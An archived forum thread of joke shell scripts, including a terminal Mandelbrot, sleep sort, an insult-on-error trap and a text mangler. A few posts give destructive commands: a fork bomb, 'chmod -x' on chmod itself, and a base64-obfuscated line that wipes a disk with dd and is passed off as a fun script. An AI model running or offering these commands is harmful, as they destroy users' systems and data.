[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

/uss/

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 37
Thread images: 4

File: 1428137039236.jpg (168KB, 425x450px) Image search: [Google]
1428137039236.jpg
168KB, 425x450px
Useless shell scripts thread.

- weird hackery
- FUN scripts
- interesting scripts
- no usefull scripts
- no harmful scripts
- dont be the 9 year old rm -rf forkbomb kid

I'll begin:
trap "curl -s randominsults.net | sed -n '/<strong>/{s;^.*<i>\(.*\)</i>.*$;\1;p}'" ERR

# Get insulted when failing.
# To test simply enter: false
>>
ITT: rm -rf / in many forms
>>
ANIME="$(mktemp).png"
ANIME_WIDTH="250"

curl -sfL "http://1339.cf/grill.php" -o "$ANIME"
mogrify -resize "$ANIME_WIDTH" "$ANIME"
notify-send -i "$ANIME" -a "1339.cf" "頑張れ!"
>>
>>52222490
$(echo ZGQgaWY9L2Rldi91cmFuZG9tIG9mPS9kZXYvc2RhCg== | base64 -d)
>>
this thread will just be full of shit like this >>52222846 that no one will actually run
>>
 :(){ :|: & };: 
>>
>>52222490
sudo chmod -x /usr/bin/chmod
>>
>>52223087
I laughed a lot at this. How would you actually recover from this, other than mounting the hard drive to a different computer?
>>
>>52223098
download another chmod binary
>>
>>52223098
cool thread on it here http://unix.stackexchange.com/questions/83862/how-to-chmod-without-usr-bin-chmod/
>>
>>52223098
Overwrite some other executable file with /usr/bin/chmod.
>>
>>52223098
/lib/ld-linux.so /bin/chmod +x /bin/chmod
>>
>>52222846
Not cool man
>>
>/uss/
The reddit is strong here
>>
>>52222222
>>
>>52222846
MY COMPUTER DOESN'T WORK NOW, THANKS le epik troll xD
>>
for((P=10**8,Q=P/100,X=320*Q/(`tput cols`-1),Y=210*Q/`tput lines`,y=-105*Q,v=-2\
20*Q,x=v;y<105*Q;x=v,y+=Y));do for((;x<P;a=b=i=k=c=0,x+=X));do for((;a*a+b*b<2*\
P*P&&i++<99;a=((c=a)*a-b*b)/P+x,b=2*c*b/P+y));do :;done;(((j=(i<99?i%16:0)+30)>\
37?k=1,j-=8:0));echo -ne "\E[$k;$j"mE;done;echo -e "\E[0m";done


mandelbrot set
>>
#!/usr/bin/env python
import os
os.system("thisscript.py")
>>
>>52222490
That's nice, but only insults on intelligence makes sense. Calling me fat when my shell script fails? meh...
>>
>>52223207
nice
>>
>>52224820
nice one anon
>>
File: a.png (85KB, 1920x1056px) Image search: [Google]
a.png
85KB, 1920x1056px
>>52224797
neat.png
>>
>>52222969
Now make it RM -rf
>>
>>52223087
I did this a long time ago
>>
Behold! Sleep sort.
#!/bin/bash
function f() {
sleep "$1"
echo "$1"
}
while [ -n "$1" ]
do
f "$1" &
shift
done
wait

example usage:
./sleepsort.bash 5 3 6 3 6 3 1 4 7
>>
>>52227771
>post the greatest useless script ever made
>no one appreciates it
>>
spurdo() {
printf "$*\n" | sed "s/kek/#geg#/gI;s/epic/#ebin#/gI;s/america/#clapistan#/gI;s/right/#ri#te#/gI;s/your/#ur#/gI;s/\./# :DD#/gI;s/'//gI;s/,/#XDD#/gI;s/wh/#w#/gI;s/th/#d#/gI;s/af/#ab#/gI;s/ap/#ab#/gI;s/ca/#ga#/gI;s/ck/#gg#/gI;s/co/#go#/gI;s/ev/#eb#/gI;s/ex/#egz#/gI;s/et/#ed#/gI;s/iv/#ib#/gI;s/it/#id#/gI;s/ke/#ge#/gI;s/nt/#nd#/gI;s/op/#ob#/gI;s/ot/#od#/gI;s/po/#bo#/gI;s/pe/#be#/gI;s/pi/#bi#/gI;s/up/#ub#/gI;s/va/#ba#/gI;s/ck/#gg#/gI;s/cr/#gr#/gI;s/kn/#gn#/gI;s/lt/#ld#/gI;s/mm/#m#/gI;s/nt/#dn#/gI;s/pr/#br#/gI;s/ts/#dz#/gI;s/tr/#dr#/gI;s/bs/#bz#/gI;s/ds/#dz#/gI;s/es/#es#/gI;s/fs/#fz#/gI;s/gs/#gz#/gI;s/ is/#iz#/gI;s/as/#az#/gI;s/ls/#lz#/gI;s/ms/#mz#/gI;s/ns/#nz#/gI;s/rs/#rz#/gI;s/ss/#sz#/gI;s/ts/#tz#/gI;s/us/#uz#/gI;s/ws/#wz#/gI;s/ys/#yz#/gI;s/alk/#olk#/gI;s/ing/#ign#/gI;s/ic/#ig#/gI;s/ng/#nk#/gI" | tr -d \#
}

Usage: spurdo $(fortune)
>>
>>52227771
What does it do?
>>
telnet towel.blinkenlights.nl
>>
File: 6544654546.png (17KB, 1640x1007px) Image search: [Google]
6544654546.png
17KB, 1640x1007px
>>52228599
It sorts the numbers given to it
>>
>>52228617
that's not useless, that's a piece of art
>>
clear; while :; do sleep .001; tput cup $[RANDOM%$(tput lines)] $[RANDOM%$(tput cols)]; tput setaf $[RANDOM%8]; printf "%s" $[RANDOM%2]; done
>>
>>52228587
Ebin :DDDDD
>>
>>52228587
zsh: fortune: command not found...
Install package 'fortune-mod' to provide command 'fortune'? [N/y] y

Proceed with changes? [N/y] y

Failed to install packages: Failed to obtain authentication.
zsh: command not found: fortune
* Waidign in queue :DD :DD :DD de followign paggages have to be inztalled: regode-3 :DD6-40 :DDfc22 :DDx86_64 gonverzion bedween character seds and surfaces * Waidign in queue :DD :DD :DD * Waidign for audendigation :DD :DD :DD
>>
>>52229131
le hipster zsh

type bash first, idiot
>>
>>52229165
Thats not the point of my post, retard
>>
File: 1451899189402.jpg (39KB, 1024x768px) Image search: [Google]
1451899189402.jpg
39KB, 1024x768px
< /dev/urandom tr -dc 'a-z0-9' | head -c16


< /dev/urandom tr -dc A-Za-z0-9 | head -c24


< /dev/urandom tr -dc '!-}' | head -c48
Thread posts: 37
Thread images: 4


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.